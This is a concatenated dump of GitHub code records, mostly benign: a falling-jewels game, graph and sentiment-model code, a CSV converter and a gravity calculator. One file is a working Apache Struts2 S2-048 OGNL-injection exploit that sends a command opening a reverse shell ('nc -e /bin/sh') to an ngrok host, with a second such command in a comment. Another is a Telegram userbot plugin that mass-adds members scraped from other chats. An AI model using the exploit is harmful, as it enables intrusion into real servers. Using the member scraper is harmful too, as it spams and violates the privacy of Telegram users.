board[jewel_col_position+1][jewel_row_position].check_empty() == True:\r\n return True\r\n\r\n return False\r\n \r\n \r\nclass Faller:\r\n def __init__(self,jewel1,jewel2,jewel3):\r\n self._jewel_in_faller = [jewel1,jewel2,jewel3]\r\n \r\n def rotate(self,game_state)->'Faller':\r\n\r\n if self._jewel_in_faller[2].get_status() != 'freeze':\r\n \r\n \r\n t_jewel = Jewel(self._jewel_in_faller[2].get_row()+2,self._jewel_in_faller[2].get_col(),self._jewel_in_faller[2].get_color(),\r\n self._jewel_in_faller[2].get_status())\r\n \r\n self._jewel_in_faller[2] = Jewel(self._jewel_in_faller[1].get_row()-1,self._jewel_in_faller[1].get_col(),self._jewel_in_faller[1].get_color(),\r\n self._jewel_in_faller[1].get_status())\r\n\r\n self._jewel_in_faller[1] = Jewel(self._jewel_in_faller[0].get_row()-1,self._jewel_in_faller[0].get_col(),self._jewel_in_faller[0].get_color(),\r\n self._jewel_in_faller[0].get_status())\r\n\r\n self._jewel_in_faller[0] = t_jewel\r\n\r\n for jewel in self.get_jewel_in_faller():\r\n if jewel.check_if_jewel_on_board(game_state.get_board()) == True:\r\n game_state.add_jewel(jewel,jewel.get_row(),jewel.get_col())\r\n \r\n \r\n \r\n def get_jewel_in_faller(self):\r\n return self._jewel_in_faller\r\n \r\n def move_right(self,board:[['Position']]):\r\n if self._jewel_in_faller[2].get_status() != 'freeze':\r\n jewel_list = self.get_jewel_in_faller()\r\n\r\n for jewel in jewel_list:\r\n if jewel.check_if_jewel_could_move_right(board) == False:\r\n return None\r\n\r\n for jewel in jewel_list:\r\n jewel.move_right(board)\r\n\r\n def move_down(self,board:[['Position']]):\r\n jewel_list = self.get_jewel_in_faller()\r\n\r\n if jewel_list[2].check_if_jewel_could_move_down(board) == False:\r\n for jewel in jewel_list:\r\n jewel.change_status('freeze')\r\n return None\r\n\r\n for jewel_index in reversed(range(0,len(jewel_list))):\r\n\r\n\r\n## print(jewel_index)\r\n jewel_list[jewel_index].move_down(board)\r\n\r\n def move_left(self,board:[['Position']]):\r\n if self._jewel_in_faller[2].get_status() != 'freeze':\r\n jewel_list = self.get_jewel_in_faller()\r\n\r\n for jewel in jewel_list:\r\n if jewel.check_if_jewel_could_move_left(board) == False:\r\n return None\r\n\r\n for jewel in jewel_list:\r\n jewel.move_left(board)\r\n \r\n def move_up(self,board:[['Position']]):\r\n jewel_list = self.get_jewel_in_faller()\r\n\r\n for jewel in jewel_list:\r\n if jewel.check_if_jewel_could_move_up(board) == False:\r\n return None\r\n\r\n for jewel in jewel_list:\r\n jewel.move_up(board)\r\n\r\n\r\n\r\ndef time_tick(game_state:'GameState',game_faller:'Faller')->None:\r\n match_flag = False\r\n count = 0\r\n for position_list in game_state.get_board():\r\n for position in position_list:\r\n if position.get_jewel()!= None:\r\n if position.get_jewel().get_status() == 'matched':\r\n count += 1\r\n match_flag = True\r\n col_number = position.get_jewel().get_col()\r\n row_number = position.get_jewel().get_row()\r\n empty_position = Position()\r\n game_state.get_board()[col_number][row_number] = empty_position\r\n\r\n if match_flag == True:\r\n for num in range(0,count):\r\n for position_list in game_state.get_board():\r\n for position in position_list:\r\n if position.get_jewel()!= None:\r\n position.get_jewel().move_down(game_state.get_board())\r\n if position.get_jewel() != None:\r\n position.get_jewel().change_status('freeze')\r\n match_list = game_state.check_match()\r\n\r\n for match_jewel in match_list:\r\n match_jewel.change_status('matched')\r\n \r\n \r\n \r\n \r\n if match_flag == False:\r\n game_state.move_faller(game_faller)\r\n game_faller_list = game_faller.get_jewel_in_faller()\r\n game_faller_status = game_faller_list[2].get_status()\r\n if game_faller_status != 'matched':\r\n if game_faller_list[1].get_status() != 'matched':\r\n game_faller_list[1].change_status(game_faller_status)\r\n if game_faller_list[0].get_status() != 'matched':\r\n game_faller_list[0].change_status(game_faller_status)\r\n \r\ndef faller_move_left(game_state:'GameState',game_faller:'Faller')->None:\r\n if game_faller != None:\r\n if game_faller.get_jewel_in_faller()[0] != 'freeze':\r\n game_faller_list = game_faller.get_jewel_in_faller()\r\n game_faller.move_left(game_state.get_board())\r\n game_faller_status = game_faller_list[2].get_status()\r\n game_faller_list[1].change_status(game_faller_status)\r\n game_faller_list[0].change_status(game_faller_status)\r\n game_faller_status = game_faller_list[2].get_status()\r\n\r\n\r\ndef faller_move_right(game_state:'GameState',game_faller:'Faller')->None:\r\n if game_faller != None:\r\n if game_faller.get_jewel_in_faller()[0] != 'freeze':\r\n game_faller_list = game_faller.get_jewel_in_faller()\r\n game_faller.move_right(game_state.get_board())\r\n game_faller_status = game_faller_list[2].get_status()\r\n game_faller_list[1].change_status(game_faller_status)\r\n game_faller_list[0].change_status(game_faller_status)\r\n game_faller_status = game_faller_list[2].get_status()\r\n\r\n \r\ndef move_content(game_state)->None:\r\n row_number = len(game_state.get_board()[0])\r\n for i in range(0,row_number):\r\n for position_list in game_state.get_board():\r\n for position in position_list:\r\n if position.get_jewel()!= None:\r\n position.get_jewel().move_down(game_state.get_board())\r\n if position.get_jewel() != None:\r\n position.get_jewel().change_status('freeze')\r\n \r\ndef change_content_according_to_input(game_state:'GameState')->None:\r\n for row_number in reversed(range(0,len(game_state.get_board()[0]))):\r\n user_input = input()\r\n for col_number in range(0,len(game_state.get_board())):\r\n if user_input[col_number] != ' ':\r\n jewel = Jewel(row_number,col_number,\r\n user_input[col_number],'faller')\r\n game_state.add_jewel(jewel,row_number,col_number)\r\n\r\ndef rotate_faller(game_state:'GameState',game_faller:'Faller')->None:\r\n if game_faller != None:\r\n if game_faller.get_jewel_in_faller()[0] != 'freeze':\r\n game_faller.rotate(game_state)\r\n","repo_name":"EdwardHDJ/32a-project4","sub_path":"columns_game.py","file_name":"columns_game.py","file_ext":"py","file_size_in_byte":23567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72669865193","text":"from collections import deque, defaultdict\n\nn, m = map(int, input().split())\nd = defaultdict(deque)\nfor line in range(m):\n frm, to = map(int, input().split())\n d[frm].append(to)\n d[to].append(frm)\nvisited = set()\nvisitedinloop = set()\nqueue = deque()\nfinal = 0\nfor i in range(1, n + 1):\n if i not in visited:\n toadd = True\n visited.add(i)\n queue += d[i]\n toadd = (len(d[i]) == 2 and toadd)\n visitedinloop.add(i)\n while queue:\n tocheck = queue.popleft()\n if tocheck not in visitedinloop:\n visited.add(tocheck)\n visitedinloop.add(tocheck)\n queue += d[tocheck]\n toadd = ((len(d[tocheck]) == 2) and toadd)\n final += toadd\nprint(final)\n","repo_name":"ArshakMkhoyan/Data-Structures-and-Algorithms","sub_path":"Algorithms toolbox/codeforce.py","file_name":"codeforce.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"33369551529","text":"import torch\nimport torch.nn as nn\nfrom transformers import BertModel, BertTokenizer\n\n\nclass Config(object):\n \"\"\"配置��数\"\"\"\n\n def __init__(self, path):\n self.dataset_path = path + '/weibo_senti_100k.csv'\n self.class_list = [x.strip() for x in open(path + '/class.txt').readlines()]\n self.save_path = path + '/bert.pt'\n self.device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n self.require_improvement = 1000\n self.num_classes = len(self.class_list)\n self.num_epochs = 3\n self.batch_size = 128\n self.pad_size = 99 # 添加['cls']\n self.learning_rate = 2e-5\n self.bert_path = './emotion_classification/bert_model'\n self.tokenizer = BertTokenizer.from_pretrained(self.bert_path)\n self.hidden_size = 768\n\n\nclass Model(nn.Module):\n def __init__(self, config):\n super(Model, self).__init__()\n self.bert = BertModel.from_pretrained(config.bert_path)\n for param in self.bert.parameters():\n param.requires_grad = True\n self.fc = nn.Linear(config.hidden_size, config.num_classes)\n self.softmax = nn.Softmax(dim=1)\n\n def forward(self, x):\n context = x[0]\n mask = x[2]\n _, pooled = self.bert(context, attention_mask=mask, return_dict=False)\n output = self.fc(pooled)\n return self.softmax(output)\n\n\n\n\n\n\n","repo_name":"nicoyang-21/rasa_chatbot","sub_path":"emotion_classification/bert.py","file_name":"bert.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"2516222619","text":"import requests\n\n\ndef exploit(url, cmd):\n print(\"[+] command: %s\" % cmd)\n\n payload = \"%{\"\n payload += \"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).\"\n payload += \"(#_memberAccess?(#_memberAccess=#dm):\"\n payload += \"((#container=#context['com.opensymphony.xwork2.ActionContext.container']).\"\n payload += \"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).\"\n payload += \"(#ognlUtil.getExcludedPackageNames().clear()).\"\n payload += \"(#ognlUtil.getExcludedClasses().clear()).\"\n payload += \"(#context.setMemberAccess(#dm)))).\"\n payload += \"(@java.lang.Runtime@getRuntime().exec('%s'))\" % cmd\n payload += \"}\"\n\n data = {\n \"name\": payload,\n \"age\": 20,\n \"__checkbox_bustedBefore\": \"true\",\n \"description\": 1\n }\n\n headers = {\n 'Referer': 'https://lesson1-vulncomponent.migal.in/integration/editGangster'\n }\n requests.post(url, data=data, headers=headers)\n\n\nif __name__ == '__main__':\n # import sys\n\n # if len(sys.argv) != 3:\n # print(\"python %s <url> <cmd>\" % sys.argv[0])\n # sys.exit(0)\n\n print('[*] exploit Apache Struts2 S2-048')\n url = \"https://lesson1-vulncomponent.migal.in/integration/saveGangster.action\"\n cmd = \"nc -e /bin/sh 7.tcp.eu.ngrok.io 13074\"\n\n exploit(url, cmd)\n\n # $ ncat -v -l -p 4444 &\n # $ python exploit_S2-048.py https://lesson1-vulncomponent.migal.in/integration/saveGangster.action \"ncat -e /bin/bash 4.tcp.eu.ngrok.io 13346\"\n","repo_name":"AnnaNKorotkova/Data","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73966497193","text":"import asyncio\n\nfrom telethon import functions\nfrom telethon.errors.rpcerrorlist import (\n ChatAdminRequiredError,\n ChatWriteForbiddenError,\n PeerFloodError,\n)\n\nfrom userbot import lionub\n\nfrom ..funcs.managers import edit_delete, edit_or_reply\n\nplugin_category = \"tools\"\n\n\n@lionub.lion_cmd(\n pattern=\"invite ([\\s\\S]*)\",\n command=(\"invite\", plugin_category),\n info={\n \"header\": \"Add the given user/users to the group where u used the command.\",\n \"description\": \"Adds only mentioned person or bot not all members\",\n \"usage\": \"{tr}invite <username(s)/userid(s)>\",\n \"examples\": \"{tr}invite @combot @MissRose_bot\",\n },\n)\nasync def _(event):\n \"To invite a user to chat.\"\n to_add_users = event.pattern_match.group(1)\n if not event.is_channel and event.is_group:\n # https://lonamiwebs.github.io/Telethon/methods/messages/add_chat_user.html\n for user_id in to_add_users.split(\" \"):\n try:\n await event.client(\n functions.messages.AddChatUserRequest(\n chat_id=event.chat_id, user_id=user_id, fwd_limit=1000000\n )\n )\n except Exception as e:\n return await edit_delete(event, f\"`{str(e)}`\", 5)\n else:\n # https://lonamiwebs.github.io/Telethon/methods/channels/invite_to_channel.html\n for user_id in to_add_users.split(\" \"):\n try:\n await event.client(\n functions.channels.InviteToChannelRequest(\n channel=event.chat_id, users=[user_id]\n )\n )\n except Exception as e:\n return await edit_delete(event, f\"`{e}`\", 5)\n\n await edit_or_reply(event, f\"`{to_add_users} is/are Invited Successfully`\")\n\n\nasync def delete_in(message, time):\n await asyncio.sleep(time)\n return await message.delete()\n\n\n# X=============Spent Time Anyway=======================X\n\nScrapping = {} # Well this will be needed to stop scrapping at a moment.\n\n\n@lionub.lion_cmd(\n pattern=\"inviteall (.*)\",\n command=(\"inviteall\", \"tools\"),\n info={\n \"header\": \"To mass add members.\",\n \"options\": \"You can mention limit of members to be added.\",\n \"usage\": [\n \"{tr}inviteall <chat> <limit>(optional)\",\n ],\n },\n)\nasync def scrapper(event):\n \"\"\"Will try to kidnap a whole bunch of people from a chat to a chat i.e user pollination.\"\"\"\n if event.is_private:\n message = await event.edit(\n \"Man, do you think I can't differentiate between a channel/group and a personal chat?\"\n )\n return await delete_in(message, 5)\n\n try:\n chat = int((event.pattern_match.group(1)).split(\" \")[0])\n except ValueError:\n chat = (event.pattern_match.group(1)).split(\" \")[0]\n\n try:\n max = int((event.pattern_match.group(1)).split(\" \")[1])\n if max == 0:\n message = await event.edit(\n \"Zero members?! If you aren't in mood of adding members then why even using me?\"\n )\n return delete_in(message, 5)\n except IndexError:\n max = None\n except ValueError:\n return await event.edit(max + \"is wrong value. An integral value is required.\")\n\n try:\n chat = await event.client.get_entity(chat)\n except ValueError:\n message = await event.edit(\n f\"I don't think `{chat}` is a correct chat. Or maybe you are banned from it.\"\n )\n return await delete_in(message, 8)\n\n if event.chat_id == chat.id or str(event.chat_id) == (\"-100\" + f\"{chat.id}\"):\n message = await event.edit(\n \"You just simply tried to add members from the same group. Like WTF? I guess you need to be added in a mental hospital.\"\n )\n return await delete_in(message, 8)\n\n try:\n await event.edit(\"Getting list of members...\")\n members = (await event.client.get_participants(chat.id)).total\n except ChatAdminRequiredError:\n message = await event.edit(\n \"I am really sorry, you don't have sufficient administrative privilages required to do that.\"\n )\n return await delete_in(message, 5)\n\n await event.edit(\"Starting...\")\n Scrapping.update({event.chat_id: True})\n\n # ====================== Constants =====================================\n warn_surpress = False # Stops a stupid spam that I have created.\n success = 0 # Counts number of successful attempts to add members.\n failed = 0 # Counts number of failed attempts to add members.\n # =====================================================================\n\n if event.is_group:\n async for user in event.client.iter_participants(\n chat.id, limit=max, aggressive=True\n ): # This limit thing isn't blowing anything...!\n if max == 0:\n return\n if event.chat_id not in Scrapping: # Haha, the spell to stop scrapping.\n return\n\n try:\n\n await event.client(\n functions.messages.AddChatUserRequest(\n chat_id=event.chat_id, user_id=user.id, fwd_limit=int(members)\n )\n )\n success += 1\n if max:\n max -= 1\n await event.edit(\"Brought \" + success + \" participant(s)\")\n asyncio.sleep(1)\n\n except ChatWriteForbiddenError:\n await event.delete()\n return await event.respond(\n \"You have insufficient rights to invite members here.\"\n )\n except PeerFloodError:\n if not warn_surpress:\n warn_surpress = True\n await event.respond(\n \"**I am really sorry. You have got Flood-Error from Telegram. Maybe you can't add non-mutual contacts. Please contact** @spambot **for more info.**\"\n )\n except Exception:\n failed += 1\n\n if event.is_channel:\n async for user in event.client.iter_participants(chat.id):\n if max == 0:\n return\n if event.chat_id not in Scrapping: # Haha, read comment on line 39.\n return\n\n try:\n await event.client(\n functions.channels.InviteToChannelRequest(\n channel=event.chat_id, users=[user.id]\n )\n )\n success += 1\n if max:\n max -= 1\n await event.edit(\"Brought \" + success + \" participant(s)\")\n asyncio.sleep(1)\n\n except ChatWriteForbiddenError:\n await event.delete()\n return await event.respond(\n \"You have insufficient rights to invite members here.\"\n )\n except PeerFloodError:\n if not warn_surpress:\n warn_surpress = True\n await event.respond(\n \"**I am really sorry. You have got Flood-Error from Telegram. Maybe you can't add non-mutual contacts. Please contact** @spambot **for more info.**\"\n )\n except Exception:\n failed += 1\n\n await event.delete()\n await event.respond(\n f\"**Phew Done**\\n__Stats:__\\n**Kidnapped** __{success}__ **members. But couldn't kidnap** __{failed}__ **nerds.**\"\n )\n\n try:\n del Scrapping[event.chat_id]\n except KeyError:\n await event.respond(\n \"**Wait!! I just got some error. Please restart the bot quickly or reinstall the plugin!!**\"\n )\n\n\n@lionub.lion_cmd(\n pattern=\"stopinvite\",\n command=(\"stopinvite\", \"tools\"),\n info={\n \"header\": \"To stop kidnapping in the current chat.\",\n \"usage\": [\n \"{tr}stopinvite\",\n ],\n },\n)\nasync def kill_scrapper(event):\n \"\"\"If you wanna stop this stupid User Pollination, use this.\"\"\"\n if event.chat_id not in Scrapping:\n message = await event.edit(\"I am not kidnapping in this chat at the moment :D\")\n return await delete_in(message, 5)\n else:\n try:\n del Scrapping[event.chat_id]\n except KeyError:\n return await event.edit(\n \"Got something wrong. Please reinstall the plugin or restart the bot.\"\n )\n await event.edit(\"Ok, I will stop this kidnapping here.\")\n","repo_name":"LUCIFER9088/LionZ","sub_path":"userbot/plugins/invite.py","file_name":"invite.py","file_ext":"py","file_size_in_byte":8536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32637255336","text":"import theano.tensor as T\nimport lasagne\nfrom lasagne.layers import DenseLayer, InputLayer, get_output, get_all_params\nimport theano\nimport numpy as np\nfrom network_repr import get_network_str\n\n\ndef get_init(name):\n if name == \"glorotU\":\n return lasagne.init.GlorotUniform()\n\n\ndef get_nonlinearity(name):\n if name == \"relu\":\n return lasagne.nonlinearities.rectify\n elif name == \"tanh\":\n return lasagne.nonlinearities.tanh\n\n\ndef gen_data(n, msg_len, key_len):\n return (np.random.randint(0, 2, size=(n, msg_len)) * 2 - 1). \\\n astype(theano.config.floatX), \\\n (np.random.randint(0, 2, size=(n, key_len)) * 2 - 1). \\\n astype(theano.config.floatX)\n\n\nclass HiddenLayer(object):\n def __init__(self, inputs, size_batch, input_size, n_hidden, n_out, name, nonlinearity=\"relu\", depth=1):\n self.depth = depth\n self.l_in = InputLayer((size_batch, input_size), input_var=inputs)\n self.l_hid = DenseLayer(self.l_in,\n num_units=n_hidden,\n nonlinearity=get_nonlinearity(nonlinearity),\n W=get_init(\"glorotU\"))\n if depth == 3:\n self.l_hid = DenseLayer(self.l_hid,\n num_units=n_hidden,\n nonlinearity=get_nonlinearity(nonlinearity),\n W=get_init(\"glorotU\"))\n\n self.l_hid = DenseLayer(self.l_hid,\n num_units=n_out,\n nonlinearity=get_nonlinearity(\"tanh\"),\n W=get_init(\"glorotU\"))\n\n def get_output(self):\n return get_output(self.l_hid)\n\n def get_all_params(self):\n return get_all_params(self.l_hid)\n\n\nclass AdversarialNeuralCryptoNet(object):\n def __init__(self):\n self.SIZE_BATCH = 512\n self.SIZE_KEY = 16\n self.SIZE_MESSAGE = 16\n self.N_HIDDEN = 32\n\n ### BUILD THE MODELS\n X_msg = T.matrix('msg')\n X_key = T.matrix('key')\n input = T.concatenate([X_msg, X_key], axis=1)\n\n # Create Alice neural network\n alice_MLP = HiddenLayer(input,\n self.SIZE_BATCH,\n self.SIZE_KEY + self.SIZE_MESSAGE,\n self.N_HIDDEN,\n self.SIZE_MESSAGE,\n \"alice\")\n\n # Create Bob neural network\n bob_MLP = HiddenLayer(T.concatenate([alice_MLP.get_output(), X_key], axis=1),\n self.SIZE_BATCH,\n self.SIZE_KEY + self.SIZE_MESSAGE,\n self.N_HIDDEN,\n self.SIZE_MESSAGE,\n \"bob\")\n\n # Create Eve neural network\n eve_MLP = HiddenLayer(alice_MLP.get_output(),\n self.SIZE_BATCH,\n self.SIZE_MESSAGE,\n self.N_HIDDEN,\n self.SIZE_MESSAGE,\n \"eve\", depth=3)\n\n # print(get_network_str(lasagne.layers.get_all_layers(eve_MLP.l_hid), get_network=False))\n # print(get_network_str(lasagne.layers.get_all_layers(bob_MLP.l_hid), get_network=False))\n\n # LOSS FUNCTIONS\n eve_loss = T.mean(T.abs_(X_msg - eve_MLP.get_output()))\n\n bob_loss = T.mean(T.abs_(X_msg - bob_MLP.get_output())) \\\n + (1. - eve_loss) ** 2\n\n # PARAMS\n params, losses = {}, {}\n params['bob'] = bob_MLP.get_all_params() + alice_MLP.get_all_params()\n params['eve'] = eve_MLP.get_all_params()\n\n self.train_fn, self.test_fn = {}, {}\n\n losses = {'bob': lasagne.updates.adadelta(bob_loss, params['bob'])}\n self.train_fn['bob'] = theano.function([X_msg, X_key], bob_loss, updates=losses['bob'])\n self.test_fn['bob'] = theano.function([X_msg, X_key], bob_loss)\n\n losses['eve'] = lasagne.updates.adadelta(eve_loss, params['eve'])\n self.train_fn['eve'] = theano.function([X_msg, X_key], eve_loss, updates=losses['eve'])\n self.test_fn['eve'] = theano.function([X_msg, X_key], eve_loss)\n\n def train(self, bob_or_eve, max_iters, print_every, es, es_limit=100):\n count = 0\n for i in range(max_iters):\n msg_in_val, key_val = gen_data(self.SIZE_BATCH, self.SIZE_MESSAGE, self.SIZE_KEY)\n\n loss = self.train_fn[bob_or_eve](msg_in_val, key_val)\n if not i % print_every:\n print('Iter ', i, ', Loss:', loss)\n if es and loss < es:\n count += 1\n if es_limit < count:\n break\n\n\nif __name__ == '__main__':\n adversarial_iterations = 60\n adv = AdversarialNeuralCryptoNet()\n\n for i in range(adversarial_iterations):\n n = 2000\n print_every = 100\n print('Training bob and alice')\n adv.train('bob', n, print_every, es=0.01)\n print('Training eve')\n adv.train('eve', n, print_every, es=0.01)\n","repo_name":"louishenrifranc/Adversarial-Neural-Cryptography","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5142,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"16991217343","text":"G = 6.67*10**(-11)# this is gravitational constant\ndef cal_g_force(m, M, r):\n f = G*m*M/(r*r)\n return f\n\n\nm = int(input(\"mass of the 1st body in kg:\"))\nM = int(input(\"mass of the 2nd body in kg:\"))\nr = int(input(\"distance between the two body in m:\"))\nf = cal_g_force(m, M, r)\nprint(\"Gravitational force between the two bodies is = {0} N\".format(f))","repo_name":"pandeydevendra/python_dev","sub_path":"physics/Gravitation/gravitational_force.py","file_name":"gravitational_force.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"34172987185","text":"import logging\nimport re\n\nimport httpx\n\nlogger = logging.getLogger(__name__)\n\nVALID_EMAIL = r\"^[\\w\\.-]+@[\\w\\.-]+\\.\\w+$\"\n\n\ndef is_valid_email(email: str) -> bool:\n \"\"\"\n Check if the given email is valid.\n\n :param email: The email address to validate.\n :return: True if the email is valid, False otherwise.\n \"\"\"\n email = email.strip()\n if email and re.search(VALID_EMAIL, email):\n return True\n return False\n\n\ndef make_request_with_retry(url: str, headers: dict[str, str]) -> httpx.Response:\n \"\"\"\n Make an HTTP request with retry functionality.\n\n :param url: The URL to make the request to.\n :param headers: The headers to include in the request.\n :return: The HTTP response from the request if successful, otherwise None.\n \"\"\"\n\n transport = httpx.HTTPTransport(retries=3, verify=False)\n client = httpx.Client(transport=transport, timeout=60, headers=headers)\n\n try:\n response = client.get(url)\n response.raise_for_status()\n return response\n finally:\n client.close()\n","repo_name":"open-contracting/credere-backend","sub_path":"app/sources/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"10826541837","text":"# Import modules needed\nimport csv\n\n# Convert pipeline-delimited CSV files to comma-delimited files\n\ndef csv_normalizer(input_file):\n\toutput_file = 'normalized_' + input_file\n\tprint(f\"Normalizing {input_file} to comma-delimited file {output_file}\")\n\twith open(input_file) as original_csv_file:\n\t\t# newline='' is used to prevent extra newlines when using Python 3 on Windows\n\t\twith open(output_file, 'w', newline='') as normalized_csv_file:\n\t\t\treader = csv.DictReader(original_csv_file, delimiter='|')\n\t\t\twriter = csv.DictWriter(normalized_csv_file, reader.fieldnames, delimiter=',')\n\t\t\twriter.writeheader()\n\t\t\twriter.writerows(reader)\n\tprint(\"Conversion complete.\")","repo_name":"yoeherrera/handling-csv-files","sub_path":"task3/task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17560128133","text":"from .base import FormatterBase\n\nclass NewlineFormatter(FormatterBase):\n '''\n Each item in a group is separated by a newline.\n Each group is also separated by newline.\n '''\n def format(self, collector):\n temp = \"\"\n for group in collector.groups:\n for text in group:\n temp += text + \"\\n\"\n temp += \"\\n\"\n return temp\n","repo_name":"djmattyg007/IdiotScript","sub_path":"idiotscript/formatters/NewlineFormatter.py","file_name":"NewlineFormatter.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"74592663912","text":"import os\nfrom sqlalchemy import Column, String, create_engine\nfrom flask import Flask, abort, jsonify, request\nfrom flask_sqlalchemy import SQLAlchemy\nimport json\nfrom datetime import datetime\nfrom sqlalchemy.ext.hybrid import hybrid_property\n\ndatabase_path = os.environ['DATABASE_URL']\nif database_path.startswith(\"postgres://\"):\n database_path = database_path.replace(\"postgres://\", \"postgresql://\", 1)\n\ndb = SQLAlchemy()\n\n'''\nsetup_db(app)\n binds a flask application and a SQLAlchemy service\n'''\ndef setup_db(app, database_path=database_path):\n app.config[\"SQLALCHEMY_DATABASE_URI\"] = database_path\n app.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\n db.app = app\n db.init_app(app)\n db.create_all()\n\n\n'''\nPerson\nHave title and release year\n'''\nclass Actor(db.Model): \n __tablename__ = 'Actor'\n\n id = Column(db.Integer, primary_key=True)\n name = Column(String)\n age = Column(db.Integer)\n gender = Column(String)\n\n def __init__(self, name, age, gender):\n self.name = name\n self.age = age\n self.gender = gender\n\n def insert(self):\n db.session.add(self)\n db.session.commit()\n\n def update(self):\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n def format(self):\n return {\n 'id': self.id,\n 'name': self.name,\n 'age': self.age,\n 'gender': self.gender}\n\n\nclass Movie(db.Model): \n __tablename__ = 'Movie'\n\n id = Column(db.Integer, primary_key=True)\n title = Column(String)\n release_date = Column(db.DateTime)\n\n def __init__(self, title, release_date):\n self.title = title\n self.release_date = release_date\n\n def insert(self):\n db.session.add(self)\n db.session.commit()\n\n def update(self):\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n def format(self):\n return {\n 'id': self.id,\n 'title': self.title,\n 'release_date': self.release_date}\n\n @hybrid_property\n def actors(self):\n assigns = Assign.query.filter(Assign.movie_id==self.id).all()\n return [Actor.query.filter(Actor.id==assign.actor_id).first() for assign in assigns]\n \n\nclass Assign(db.Model): \n __tablename__ = 'Assign'\n\n id = Column(db.Integer, primary_key=True)\n movie_id = db.Column(db.Integer, db.ForeignKey('Movie.id'))\n actor_id = db.Column(db.Integer, db.ForeignKey('Actor.id'))\n\n def __init__(self, movie_id, actor_id):\n self.movie_id = movie_id\n self.actor_id = actor_id\n\n def insert(self):\n db.session.add(self)\n db.session.commit()\n\n def update(self):\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n def format(self):\n return {\n 'id': self.id,\n 'movie_id': self.movie_id,\n 'actor_id': self.actor_id}\n","repo_name":"h9tyf/capstone-udacity","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"35403097285","text":"#retrieve Spotify API token first, then use it to get track ID\n#getting a track ID by searching for artist & track name\n\nimport requests, json\n\n#Replace YourTrackName and Your%20artist with your track and artist name\n#if either has spaces, replace them with %20 as in the example\n#Searching for \"YourTrackName\" by \"Your artist\" in this example\n#replace DE with your country code\nquery = \"track:YourTrackName%20artist:Your%20artist&type=track&market=DE\"\nsongURL = f\"https://api.spotify.com/v1/search?q={query}\"\nheaders = {\n #token is the Spotify API token you retrieved earlier\n \"Authorization\": \"Bearer \" + token\n}\n\nres = requests.get(url=songURL, headers=headers)\n\ntmp=res.json()\nif int(tmp['tracks']['total']) > 0:\n track_id=tmp['tracks']['items'][0]['id']\n print(track_id)\nelse:\n print(\"No matching result(s)\")","repo_name":"olli-dot-dev/spotify-api-examples","sub_path":"get-spotify-track-id.py","file_name":"get-spotify-track-id.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19350775059","text":"from random import randint\nimport math\n\n\nGAME_RULE = 'Find the greatest common divisor of given numbers.'\nFIRST_NUM = 0\nLAST_NUM = 50\n\n\ndef get_question_and_answer():\n num1 = randint(FIRST_NUM, LAST_NUM)\n num2 = randint(FIRST_NUM, LAST_NUM)\n correct_answer = math.gcd(num1, num2)\n question = f'{num1} {num2}'\n return str(correct_answer), question\n","repo_name":"Bloody-Mary/python-project","sub_path":"brain_games/games/brain_gcd.py","file_name":"brain_gcd.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25514764974","text":"from flask import Flask, render_template, request\r\nimport pickle\r\n\r\napp = Flask(__name__)\r\n\r\ncv = pickle.load(open('cv.pkl', 'rb'))\r\nmodel = pickle.load(open('model.pkl', 'rb'))\r\n\r\n\r\n@app.route('/')\r\ndef index():\r\n return render_template('index.html')\r\n\r\n\r\n@app.route('/predict', methods=['post'])\r\ndef take_input():\r\n text_input = request.form.get('complaint')\r\n data = cv.transform([text_input]).toarray()\r\n output = model.predict(data)\r\n return render_template('index.html', data=output[0])\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n","repo_name":"Ayush-Mitra-7/Consumer-Complaint-Classification-","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"2332379769","text":"from __future__ import print_function, unicode_literals, absolute_import, division\nfrom segtools.defaults.ipython_remote import *\nimport numpy as np\nimport matplotlib.pyplot as plt\n# %matplotlib inline\n# %config InlineBackend.figure_format = 'retina'\nfrom csbdeep.utils.plot_utils import plot_some\n\nimport os\nfrom tifffile import imread, TiffFile\nfrom csbdeep import data\nfrom scipy.ndimage import 